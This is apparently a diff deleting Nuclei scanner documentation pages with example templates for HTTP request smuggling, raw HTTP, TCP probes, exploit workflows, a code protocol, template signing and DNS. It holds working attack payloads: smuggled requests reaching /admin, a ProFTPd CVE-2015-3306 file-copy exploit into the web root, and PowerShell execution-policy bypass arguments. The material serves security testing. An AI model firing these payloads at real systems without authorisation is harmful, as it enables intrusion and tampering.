||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5c
|
||||
GPOST / HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "Unrecognized method GPOST")'
|
||||
```
|
||||
|
||||
## Frontend bypass CL.TE
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: smuggling-bypass-front-end-controls-cl-te
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 116
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 10
|
||||
|
||||
x=
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 116
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: localhost
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 10
|
||||
|
||||
x=
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "/admin/delete?username=carlos")'
|
||||
```
|
||||
|
||||
## Differential responses based CL.TE
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: confirming-cl-te-via-differential-responses-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 35
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X-Ignore: X
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 35
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X-Ignore: X
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code==404'
|
||||
```
|
||||
|
||||
## Differential responses based TE.CL
|
||||
|
||||
This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: confirming-te-cl-via-differential-responses-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5e
|
||||
POST /404 HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5e
|
||||
POST /404 HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'status_code==404'
|
||||
```
|
||||
@@ -1,72 +0,0 @@
|
||||
---
|
||||
title: "Raw HTTP"
|
||||
---
|
||||
|
||||
## Basic template
|
||||
|
||||
This template makes GET request to `/` path in RAW format and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: basic-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
|
||||
## Multiple RAW request
|
||||
|
||||
This template makes GET and POST request sequentially in RAW format and checking for string match against response.
|
||||
|
||||
|
||||
```yaml
|
||||
id: multiple-raw-example
|
||||
info:
|
||||
name: Test RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
|
||||
- |
|
||||
POST /testing HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Origin: {{BaseURL}}
|
||||
Connection: close
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
|
||||
testing=parameter
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Test is test matcher text"
|
||||
```
|
||||
@@ -1,140 +0,0 @@
|
||||
---
|
||||
title: "Network"
|
||||
---
|
||||
|
||||
## Basic Network Request
|
||||
|
||||
This template connects to a network service, sends some data and reads 4 bytes from the response. Matchers are run to identify valid response, which in this case is `PONG`.
|
||||
|
||||
```yaml
|
||||
id: basic-network-request
|
||||
|
||||
info:
|
||||
name: Basic Network Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "{{Hostname}}"
|
||||
inputs:
|
||||
- data: "PING\r\n"
|
||||
read-size: 4
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
words:
|
||||
- "PONG"
|
||||
```
|
||||
|
||||
## TLS Network Request
|
||||
|
||||
Similar to the above template, but the connection to the service is done with TLS enabled.
|
||||
|
||||
```yaml
|
||||
id: basic-tls-network-request
|
||||
|
||||
info:
|
||||
name: Basic TLS Network Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "tls://{{Hostname}}"
|
||||
inputs:
|
||||
- data: "PING\r\n"
|
||||
read-size: 4
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
words:
|
||||
- "PONG"
|
||||
```
|
||||
|
||||
## Hex Input Request
|
||||
|
||||
This template connects to a network service, sends some data encoded in hexadecimal to the server and reads 4 bytes from the response. Matchers are run to identify valid response, which in this case is `PONG`. The match words here are encoded in Hexadecimal, using `encoding: hex` option of matchers.
|
||||
|
||||
```yaml
|
||||
id: hex-network-request
|
||||
|
||||
info:
|
||||
name: Hex Input Network Request
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "{{Hostname}}"
|
||||
inputs:
|
||||
- data: "50494e47"
|
||||
type: hex
|
||||
- data: "\r\n"
|
||||
|
||||
read-size: 4
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
encoding: hex
|
||||
words:
|
||||
- "504f4e47"
|
||||
```
|
||||
|
||||
## Input Expressions
|
||||
|
||||
Inputs specified in network also support DSL Helper Expressions, so you can create your own complex inputs using variety of nuclei helper functions. The below template is an example of using `hex_decode` function to send decoded input over wire.
|
||||
|
||||
```yaml
|
||||
id: input-expressions-mongodb-detect
|
||||
|
||||
info:
|
||||
name: Input Expression MongoDB Detection
|
||||
author: pd-team
|
||||
severity: info
|
||||
reference: https://github.com/orleven/Tentacle
|
||||
|
||||
tcp:
|
||||
- inputs:
|
||||
- data: "{{hex_decode('3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000')}}"
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
read-size: 2048
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "logicalSessionTimeout"
|
||||
- "localTime"
|
||||
```
|
||||
|
||||
## Multi-Step Requests
|
||||
|
||||
This last example is an RCE in proFTPd which, if vulnerable, allows placing arbitrary files in any directory on the server. The detection process involves a random string on each nuclei run using `{{randstr}}`, and sending multiple lines of FTP input to the vulnerable server. At the end, a successful match is detected with the presence of `Copy successful` in the response.
|
||||
|
||||
```yaml
|
||||
id: CVE-2015-3306
|
||||
|
||||
info:
|
||||
name: ProFTPd RCE
|
||||
author: pd-team
|
||||
severity: high
|
||||
reference: https://github.com/t0kx/exploit-CVE-2015-3306
|
||||
tags: cve,cve2015,ftp,rce
|
||||
|
||||
tcp:
|
||||
- inputs:
|
||||
- data: "site cpfr /proc/self/cmdline\r\n"
|
||||
read: 1024
|
||||
- data: "site cpto /tmp/.{{randstr}}\r\n"
|
||||
read: 1024
|
||||
- data: "site cpfr /tmp/.{{randstr}}\r\n"
|
||||
read: 1024
|
||||
- data: "site cpto /var/www/html/{{randstr}}\r\n"
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
read-size: 1024
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Copy successful"
|
||||
```
|
||||
@@ -1,118 +0,0 @@
|
||||
---
|
||||
title: "Workflow"
|
||||
---
|
||||
|
||||
## Generic workflows
|
||||
|
||||
A generic workflow that runs two templates, one to detect Jira and another to detect Confluence.
|
||||
|
||||
```yaml
|
||||
id: workflow-example
|
||||
info:
|
||||
name: Test Workflow Template
|
||||
author: pdteam
|
||||
|
||||
workflows:
|
||||
- template: technologies/jira-detect.yaml
|
||||
- template: technologies/confluence-detect.yaml
|
||||
```
|
||||
|
||||
## Basic conditional workflows
|
||||
|
||||
A condition based workflow, which first tries to detect if springboot is running on a target. If springboot is found, a list of exploits executed against it.
|
||||
|
||||
```yaml
|
||||
id: springboot-workflow
|
||||
|
||||
info:
|
||||
name: Springboot Security Checks
|
||||
author: dwisiswant0
|
||||
|
||||
workflows:
|
||||
- template: security-misconfiguration/springboot-detect.yaml
|
||||
subtemplates:
|
||||
- template: cves/CVE-2018-1271.yaml
|
||||
- template: cves/CVE-2018-1271.yaml
|
||||
- template: cves/CVE-2020-5410.yaml
|
||||
- template: vulnerabilities/springboot-actuators-jolokia-xxe.yaml
|
||||
- template: vulnerabilities/springboot-h2-db-rce.yaml
|
||||
```
|
||||
|
||||
## Multi condition workflows
|
||||
|
||||
This template demonstrates nested workflows with nuclei, where there's multiple levels of chaining of templates.
|
||||
|
||||
```yaml
|
||||
id: springboot-workflow
|
||||
|
||||
info:
|
||||
name: Springboot Security Checks
|
||||
author: dwisiswant0
|
||||
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: lotus-domino
|
||||
subtemplates:
|
||||
- template: technologies/lotus-domino-version.yaml
|
||||
subtemplates:
|
||||
- template: cves/xx-yy-zz.yaml
|
||||
subtemplates:
|
||||
- template: cves/xx-xx-xx.yaml
|
||||
```
|
||||
|
||||
## Conditional workflows with matcher
|
||||
|
||||
This template detects if WordPress is running on an input host, and if found a set of targeted exploits and CVEs are executed against it.
|
||||
|
||||
```yaml
|
||||
id: workflow-example
|
||||
info:
|
||||
name: Test Workflow Template
|
||||
author: pdteam
|
||||
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: wordpress
|
||||
subtemplates:
|
||||
- template: cves/CVE-2019-6715.yaml
|
||||
- template: cves/CVE-2019-9978.yaml
|
||||
- template: files/wordpress-db-backup.yaml
|
||||
- template: files/wordpress-debug-log.yaml
|
||||
- template: files/wordpress-directory-listing.yaml
|
||||
- template: files/wordpress-emergency-script.yaml
|
||||
- template: files/wordpress-installer-log.yaml
|
||||
- template: files/wordpress-tmm-db-migrate.yaml
|
||||
- template: files/wordpress-user-enumeration.yaml
|
||||
- template: security-misconfiguration/wordpress-accessible-wpconfig.yaml
|
||||
- template: vulnerabilities/sassy-social-share.yaml
|
||||
- template: vulnerabilities/w3c-total-cache-ssrf.yaml
|
||||
- template: vulnerabilities/wordpress-duplicator-path-traversal.yaml
|
||||
- template: vulnerabilities/wordpress-social-metrics-tracker.yaml
|
||||
- template: vulnerabilities/wordpress-wordfence-xss.yaml
|
||||
- template: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
|
||||
```
|
||||
|
||||
## Multiple Matcher workflow
|
||||
|
||||
Very similar to the last example, with multiple matcher names.
|
||||
|
||||
```yaml
|
||||
id: workflow-multiple-matcher
|
||||
info:
|
||||
name: Test Workflow Template
|
||||
author: pdteam
|
||||
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: vbulletin
|
||||
subtemplates:
|
||||
- tags: vbulletin
|
||||
|
||||
- name: jboss
|
||||
subtemplates:
|
||||
- tags: jboss
|
||||
|
||||
```
|
||||
@@ -1,295 +0,0 @@
|
||||
---
|
||||
title: "Code"
|
||||
---
|
||||
|
||||
Nuclei enables the execution of external code on the host operating system. This feature allows security researchers, pentesters, and developers to extend the capabilities of Nuclei and perform complex actions beyond the scope of regular supported protocol-based testing.
|
||||
|
||||
By leveraging this capability, Nuclei can interact with the underlying operating system and execute custom scripts or commands, opening up a wide range of possibilities. It enables users to perform tasks such as system-level configurations, file operations, network interactions, and more. This level of control and flexibility empowers users to tailor their security testing workflows according to their specific requirements.
|
||||
|
||||
To write code template, a code block is used to indicate the start of the requests for the template. This block marks the beginning of the code-related instructions.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
code:
|
||||
```
|
||||
## Engine
|
||||
|
||||
To execute the code, a list of language interpreters, which are installed or available on the system environment, is specified. These interpreters can be and not limited to `bash` `sh` `py` `python3`, `go`, `ps`, among others, and they are searched sequentially until a suitable one is found. The identifiers for these interpreters should correspond to their respective names or identifiers recognized by the system environment.
|
||||
|
||||
```yaml
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
```
|
||||
|
||||
The code to be executed can be provided either as an external file or as a code snippet directly within the template.
|
||||
|
||||
For an external file:
|
||||
|
||||
```yaml
|
||||
source: helpers/code/pyfile.py
|
||||
```
|
||||
|
||||
For a code snippet:
|
||||
```yaml
|
||||
source: |
|
||||
import sys
|
||||
print("hello from " + sys.stdin.read())
|
||||
```
|
||||
|
||||
The target is passed to the template via stdin, and the output of the executed code is available for further processing in matchers and extractors. In the case of the Code protocol, the response part represents all data printed to stdout during the execution of the code.
|
||||
|
||||
## Parts
|
||||
|
||||
Valid `part` values supported by **Code** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
| -------- | ---------------------------------------------------- |
|
||||
| response | execution output (trailing whitespaces are filtered) |
|
||||
| stderr | Raw Stderr Output(if any) |
|
||||
|
||||
The provided example demonstrates the execution of a bash and python code snippet within the template. The specified engines are searched in the given order, and the code snippet is executed accordingly. Additionally, dynamic template variables are used in the code snippet, which are replaced with their respective values during the execution of the template which shows the flexibility and customization that can be achieved using this protocol.
|
||||
|
||||
```yaml
|
||||
id: code-template
|
||||
|
||||
info:
|
||||
name: example code template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
variables:
|
||||
OAST: "{{interactsh-url}}"
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
echo "$OAST" | base64
|
||||
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
source: |
|
||||
import base64
|
||||
import os
|
||||
|
||||
text = os.getenv('OAST')
|
||||
text_bytes = text.encode('utf-8')
|
||||
base64_bytes = base64.b64encode(text_bytes)
|
||||
base64_text = base64_bytes.decode('utf-8')
|
||||
|
||||
print(base64_text)
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/?x={{code_1_response}}"
|
||||
- "{{BaseURL}}/?x={{code_2_response}}"
|
||||
|
||||
# digest: 4a0a0047304502202ce8fe9f5992782da6ba59da4e8ebfde9f19a12e247adc507040e9f1f1124b4e022100cf0bc7a44a557a6655f79a2b4789e103f5099f0f81a8d1bc4ad8aabe7829b1c5:8eeeebe39b11b16384b45bc7e9163000
|
||||
```
|
||||
|
||||
Apart from required fields mentioned above, Code protocol also supports following optional fields to further customize the execution of code.
|
||||
|
||||
## Args
|
||||
|
||||
Args are arguments that are sent to engine while executing the code. For example if we want to bypass execution policy in powershell for specific template this can be done by adding following args to the template.
|
||||
|
||||
```yaml
|
||||
- engine:
|
||||
- powershell
|
||||
- powershell.exe
|
||||
args:
|
||||
- -ExecutionPolicy
|
||||
- Bypass
|
||||
- -File
|
||||
```
|
||||
|
||||
## Pattern
|
||||
|
||||
Pattern field can be used to customize name / extension of temporary file while executing a code snippet in a template
|
||||
|
||||
```yaml
|
||||
pattern: "*.ps1"
|
||||
```
|
||||
|
||||
adding `pattern: "*.ps1"` will make sure that name of temporary file given pattern.
|
||||
|
||||
Below is a example code template where we are executing a powershell script while customizing behaviour of execution policy and setting pattern to `*.ps1`
|
||||
|
||||
```yaml
|
||||
id: ps1-code-snippet
|
||||
|
||||
info:
|
||||
name: ps1-code-snippet
|
||||
author: pdteam
|
||||
severity: info
|
||||
description: |
|
||||
ps1-code-snippet
|
||||
tags: code
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- powershell
|
||||
- powershell.exe
|
||||
args:
|
||||
- -ExecutionPolicy
|
||||
- Bypass
|
||||
- -File
|
||||
pattern: "*.ps1"
|
||||
source: |
|
||||
$stdin = [Console]::In
|
||||
$line = $stdin.ReadLine()
|
||||
Write-Host "hello from $line"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "hello from input"
|
||||
# digest: 4a0a00473045022100eb01da6b97893e7868c584f330a0cd52df9bddac005860bb8595ba5b8aed58c9022050043feac68d69045cf320cba9298a2eb2e792ea4720d045d01e803de1943e7d:4a3eb6b4988d95847d4203be25ed1d46
|
||||
```
|
||||
|
||||
For more examples, please refer to example [code-templates](https://github.com/projectdiscovery/nuclei/blob/3a5f9d626ea7b632ccca601b658acd9758f8f01b/integration_tests/protocols/code) in integration tests.
|
||||
|
||||
It's important to exercise caution while utilizing this feature, as executing external code on the host operating system carries inherent risks. It is crucial to ensure that the executed code is secure, thoroughly tested, and does not pose any unintended consequences or security risks to the target system.
|
||||
|
||||
## Template Signing
|
||||
|
||||
Template signing via the private-public key mechanism is a crucial aspect of ensuring the integrity, authenticity and security of templates. This mechanism involves the use of asymmetric cryptography, specifically ECDSA algorithm, to create a secure and verifiable signature.
|
||||
|
||||
In this process, a template author generates a private key that remains confidential and securely stored. The corresponding public key is then shared with the template consumers. When a template is created or modified, the author signs it using their private key, generating a unique signature that is attached to the template.
|
||||
|
||||
Template consumers can verify the authenticity and integrity of a signed template by using the author's public key. By applying the appropriate cryptographic algorithm (ECDSA), they can validate the signature and ensure that the template has not been tampered with since it was signed. This provides a level of trust, as any modifications or unauthorized changes to the template would result in a failed verification process.
|
||||
|
||||
By employing the private-public key mechanism, template signing adds an additional layer of security and trust to the template ecosystem. It helps establish the identity of the template author and ensures that the templates used in various systems are genuine and have not been altered maliciously.
|
||||
|
||||
**What does signing a template mean?**
|
||||
|
||||
Template signing is a mechanism to ensure the integrity and authenticity of templates. The primary goal is to provide template writers/consumers a way to trust crowdsource/custom templates ensuring that they are not tampered
|
||||
|
||||
All [official nuclei templates](https://github.com/projectdiscovery/nuclei-templates) include a digital signature in them and are verified by nuclei while loading templates using ProjectDiscovery's public key shipped with nuclei binary itself.
|
||||
|
||||
Individuals / Organizations running nuclei in their work environment can generate their own key-pair with `nuclei` and sign their custom templates with their private key, thus ensuring that only authorized templates are being used in their environment.
|
||||
|
||||
This also allows entities to fully utilize the power of new protocols like `code` without worrying about malicious custom templates being used in their environment.
|
||||
|
||||
**NOTE:**
|
||||
|
||||
- **Template signing is optional for all protocols except `code`**.
|
||||
- **Unsigned code templates are disabled and can not be executed using nuclei**.
|
||||
- **Only signed code templates by the author (yourself) or ProjectDiscovery can be executed.**
|
||||
- **Template signing is primarily introduced to ensure security of template to run code on host machine.**
|
||||
- Code file references (ex: `source: protocols/code/pyfile.py`) are allowed and content of these files is included in the template digest.
|
||||
- Payload file references (ex: `payloads: protocols/http/params.txt`) are not included in the template digest as it is treated as a payload/helper and not actual code that is being executed.
|
||||
- Template signing is deterministic while both signing and verifying a template i.e if a code file is referenced in a template that is present outside of templates directory with `-lfa` flag then verification will fail if same template is used without `-lfa` flag. (Note this only applies to `-lfa` i.e local file access flag only)
|
||||
|
||||
### Signing Custom Template
|
||||
|
||||
Simplest and recommended way to generate key-pair and signing/verfifying templates is to use `nuclei` itself.
|
||||
|
||||
When Signing a template if key-pair does not exist then nuclei will prompt user to generate a new key-pair with options.
|
||||
|
||||
```console
|
||||
$ ./nuclei -t templates.yaml -sign
|
||||
[INF] Generating new key-pair for signing templates
|
||||
[*] Enter User/Organization Name (exit to abort) : acme
|
||||
[*] Enter passphrase (exit to abort):
|
||||
[*] Enter same passphrase again:
|
||||
[INF] Successfully generated new key-pair for signing templates
|
||||
```
|
||||
> **Note:** Passphrase is optional and can be left blank when used private key is encrypted with passphrase using PEMCipherAES256 Algo
|
||||
|
||||
Once key-pair is generated, you can sign any custom template using `-sign` flag as shown below.
|
||||
|
||||
```console
|
||||
$ ./nuclei -t templates.yaml -sign
|
||||
[INF] All templates signatures were elaborated success=1 failed=0
|
||||
```
|
||||
|
||||
> **Note:** Every time you make any change in your code template, you need to resign it again to run with nuclei.
|
||||
|
||||
### Template Digest and Signing Keys
|
||||
|
||||
When a template is signed, a digest is generated and added to the template. This digest is a hash of the template content and is used to verify the integrity of the template. If the template is modified after signing, the digest will change, and the signature verification will fail during template loading.
|
||||
|
||||
```yaml
|
||||
# digest: 4a0a00473045022100eb01da6b97893e7868c584f330a0cd52df9bddac005860bb8595ba5b8aed58c9022050043feac68d69045cf320cba9298a2eb2e792ea4720d045d01e803de1943e7d:4a3eb6b4988d95847d4203be25ed1d46
|
||||
```
|
||||
|
||||
The digest is in the format of `signature:fragment`, where the signature is the digital signature of the template used to verify its integrity, and the fragment is metadata generated by MD5 hashing the public key to disable re-signing of code templates not written by you.
|
||||
|
||||
The key-pair generated by Nuclei is stored in two files in the `$CONFIG/nuclei/keys directory`, where `$CONFIG` is the system-specific config directory. The private key is stored in nuclei-user-private-key.pem, which is encrypted with a passphrase if provided. The public key is stored in nuclei-user.crt, which includes the public key and identifier (e.g., user/org name) in a self-signed certificate.
|
||||
|
||||
```bash
|
||||
$ la ~/.config/nuclei/keys
|
||||
total 16
|
||||
-rw------- 1 tarun staff 251B Oct 4 21:45 nuclei-user-private-key.pem # encrypted private key with passphrase
|
||||
-rw------- 1 tarun staff 572B Oct 4 21:45 nuclei-user.crt # self signed certificate which includes public key and identifier (i.e user/org name)
|
||||
```
|
||||
|
||||
To use the public key for verification, you can either copy it to the `$CONFIG/nuclei/keys` directory on another user's machine or set the `NUCLEI_USER_CERTIFICATE` environment variable to the path or content of the public key.
|
||||
|
||||
To use the private key, you can copy it to the `$CONFIG/nuclei/keys` directory on another user's machine or set the `NUCLEI_USER_PRIVATE_KEY` environment variable to the path or content of the private key.
|
||||
|
||||
```console
|
||||
$ export NUCLEI_USER_CERTIFICATE=$(cat path/to/nuclei-user.crt)
|
||||
$ export NUCLEI_USER_PRIVATE_KEY=$(cat path/to/nuclei-user-private-key.pem)
|
||||
```
|
||||
|
||||
It's important to note that you are responsible for securing and managing the private key, and Nuclei has no accountability for any loss of the private key.
|
||||
|
||||
By default, Nuclei loads the user certificate (public key) from the default locations mentioned above and uses it to verify templates. When running Nuclei, it will execute signed templates and warn about executing unsigned custom templates and block unsigned code templates. You can disable this warning by setting the `HIDE_TEMPLATE_SIG_WARNING` environment variable to `true`.
|
||||
|
||||
## FAQ
|
||||
|
||||
**Found X unsigned or tampered code template?**
|
||||
|
||||
```bash
|
||||
./nuclei -u scanme.sh -t simple-code.yaml
|
||||
|
||||
__ _
|
||||
____ __ _______/ /__ (_)
|
||||
/ __ \/ / / / ___/ / _ \/ /
|
||||
/ / / / /_/ / /__/ / __/ /
|
||||
/_/ /_/\__,_/\___/_/\___/_/ v3.0.0-dev
|
||||
|
||||
projectdiscovery.io
|
||||
|
||||
[WRN] Found 1 unsigned or tampered code template (carefully examine before using it & use -sign flag to sign them)
|
||||
[INF] Current nuclei version: v3.0.0-dev (development)
|
||||
[INF] Current nuclei-templates version: v9.6.4 (latest)
|
||||
[WRN] Executing 1 unsigned templates. Use with caution.
|
||||
[INF] Targets loaded for current scan: 1
|
||||
[INF] No results found. Better luck next time!
|
||||
[FTL] Could not run nuclei: no templates provided for scan
|
||||
```
|
||||
|
||||
Here `simple-code.yaml` is a code protocol template which is not signed or content of template has been modified after signing which indicates loss of integrity of template.
|
||||
If you are template writer then you can go ahead and sign the template using `-sign` flag and if you are template consumer then you should carefully examine the template before signing it.
|
||||
|
||||
**Re-signing code templates are not allowed for security reasons?**
|
||||
|
||||
```bash
|
||||
nuclei -u scanme.sh -t simple-code.yaml -sign
|
||||
|
||||
[ERR] could not sign 'simple-code.yaml': [signer:RUNTIME] re-signing code templates are not allowed for security reasons.
|
||||
[INF] All templates signatures were elaborated success=0 failed=1
|
||||
```
|
||||
|
||||
The error message `re-signing code templates are not allowed for security reasons` comes from the Nuclei engine. This error indicates that a code template initially signed by another user and someone is trying to re-sign it.
|
||||
|
||||
This measure was implemented to prevent running untrusted templates unknowingly, which might lead to potential security issues.
|
||||
When you encounter this error, it suggests that you're dealing with a template that has been signed by another user Likely, the original signer is not you or the team from projectdiscovery.
|
||||
|
||||
By default, Nuclei disallows executing code templates that are signed by anyone other than you or from the public templates provided by projectdiscovery/nuclei-templates.
|
||||
|
||||
This is done to prevent potential security abuse using code templates.
|
||||
|
||||
To resolve this error:
|
||||
1. Open and thoroughly examine the code template for any modifications.
|
||||
2. Manually remove the existing digest signature from the template.
|
||||
3. Sign the template again.
|
||||
|
||||
This way, you can ensure that only templates verified and trusted by you (or projectdiscovery) are run, thus maintaining a secure environment.
|
||||
@@ -1,111 +0,0 @@
|
||||
---
|
||||
title: "DNS"
|
||||
---
|
||||
|
||||
DNS protocol can be modelled in nuclei with ease. Fully Customizable DNS requests can be sent by nuclei to nameservers and matching/extracting can be performed on their response.
|
||||
|
||||
DNS Requests start with a **dns** block which specifies the start of the requests for the template.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
dns:
|
||||
```
|
||||
|
||||
### Type
|
||||
|
||||
First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
|
||||
|
||||
```yaml
|
||||
# type is the type for the dns request
|
||||
type: A
|
||||
```
|
||||
|
||||
### Name
|
||||
|
||||
The next part of the requests is the DNS **name** to resolve. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
|
||||
|
||||
1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
|
||||
|
||||
An example name value:
|
||||
|
||||
```yaml
|
||||
name: {{FQDN}}.com
|
||||
# This value will be replaced on execution with the FQDN.
|
||||
# If FQDN is https://this.is.an.example then the
|
||||
# name will get replaced to the following: this.is.an.example.com
|
||||
```
|
||||
|
||||
As of now the tool supports only one name per request.
|
||||
|
||||
|
||||
### Class
|
||||
|
||||
Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
|
||||
|
||||
```yaml
|
||||
# method is the class for the dns request
|
||||
class: inet
|
||||
```
|
||||
|
||||
### Recursion
|
||||
|
||||
Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
|
||||
|
||||
```yaml
|
||||
# Recursion is a boolean determining if the request is recursive
|
||||
recursion: true
|
||||
```
|
||||
|
||||
### Retries
|
||||
|
||||
